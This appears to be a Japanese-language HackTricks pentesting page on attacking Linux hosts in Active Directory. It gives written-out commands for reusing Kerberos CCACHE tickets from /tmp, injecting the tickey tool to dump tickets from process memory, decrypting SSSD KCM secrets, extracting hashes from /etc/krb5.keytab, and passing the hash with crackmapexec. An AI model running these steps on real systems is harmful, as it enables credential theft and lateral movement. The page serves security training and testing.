Linux Active Directory
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
LinuxマシンはActive Directory環境内に存在することもあります。
AD内のLinuxマシンは、異なるCCACHEチケットをファイル内に保存している可能性があります。このチケットは他のKerberosチケットと同様に使用および悪用できます。これらのチケットを読み取るには、チケットのユーザー所有者であるか、rootである必要があります。
列挙
LinuxからのAD列挙
Linux(またはWindowsのbash)でADにアクセスできる場合、ADを列挙するためにhttps://github.com/lefayjey/linWinPwnを試すことができます。
LinuxからADを列挙する他の方法を学ぶには、次のページを確認してください:
389, 636, 3268, 3269 - Pentesting LDAP
FreeIPA
FreeIPAは、主にUnix環境向けのMicrosoft Windows Active Directoryのオープンソース代替です。Active Directoryに類似した管理のために、完全なLDAPディレクトリとMIT Kerberosキー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag Certificate Systemを利用し、スマートカードを含む多要素認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、以下を参照してください:
チケットの操作
パス・ザ・チケット
このページでは、Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所を見つけることができます。次のページでは、これらのCCacheチケット形式をKirbi(Windowsで使用する必要がある形式)に変換する方法と、PTT攻撃を実行する方法を学ぶことができます:
/tmpからのCCACHEチケット再利用
CCACHEファイルはKerberos資格情報を保存するためのバイナリ形式で、通常は/tmp
に600の権限で保存されます。これらのファイルは、ユーザーのUIDに相当する**名前形式krb5cc_%{uid}
**で識別できます。認証チケットの検証には、**環境変数KRB5CCNAME
**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
env | grep KRB5CCNAME
を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを再利用できます。export KRB5CCNAME=/tmp/ticket.ccache
を使用します。Kerberosチケットの名前形式はkrb5cc_%{uid}
で、uidはユーザーのUIDです。
# Find tickets
ls /tmp/ | grep krb5cc
krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
CCACHE チケットの再利用とキーニング
プロセスのメモリに保存された Kerberos チケットは抽出可能です。特に、マシンの ptrace 保護が無効になっている場合(/proc/sys/kernel/yama/ptrace_scope
)。この目的に役立つツールは https://github.com/TarlogicSecurity/tickey にあり、セッションに注入してチケットを /tmp
にダンプすることで抽出を容易にします。
このツールを設定して使用するには、以下の手順に従います:
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
この手順は、さまざまなセッションに注入を試み、成功を示すために抽出されたチケットを /tmp
に __krb_UID.ccache
という命名規則で保存します。
SSSD KCMからのCCACHEチケットの再利用
SSSDは、パス /var/lib/sss/secrets/secrets.ldb
にデータベースのコピーを保持しています。対応するキーは、パス /var/lib/sss/secrets/.secrets.mkey
に隠しファイルとして保存されています。デフォルトでは、キーは root 権限を持っている場合にのみ読み取ることができます。
SSSDKCMExtractor
を --database および --key パラメータで呼び出すと、データベースを解析し、秘密を復号化します。
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
資格情報キャッシュKerberosブロブは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCacheファイルに変換できます。
keytabからのCCACHEチケット再利用
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
/etc/krb5.keytab からアカウントを抽出する
サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、/etc/krb5.keytab
ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
keytabファイルの内容を確認するには、klist
を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のためのNT Hashを含むキーの詳細を表示するように設計されています。
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
Linuxユーザーにとって、KeyTabExtract
はRC4 HMACハッシュを抽出する機能を提供し、これをNTLMハッシュの再利用に活用できます。
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
macOSでは、**bifrost
**はkeytabファイル分析のためのツールとして機能します。
./bifrost -action dump -source keytab -path /path/to/your/file
抽出したアカウントとハッシュ情報を利用して、crackmapexec
のようなツールを使用してサーバーへの接続を確立できます。
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
参考文献
- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://github.com/TarlogicSecurity/tickey
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。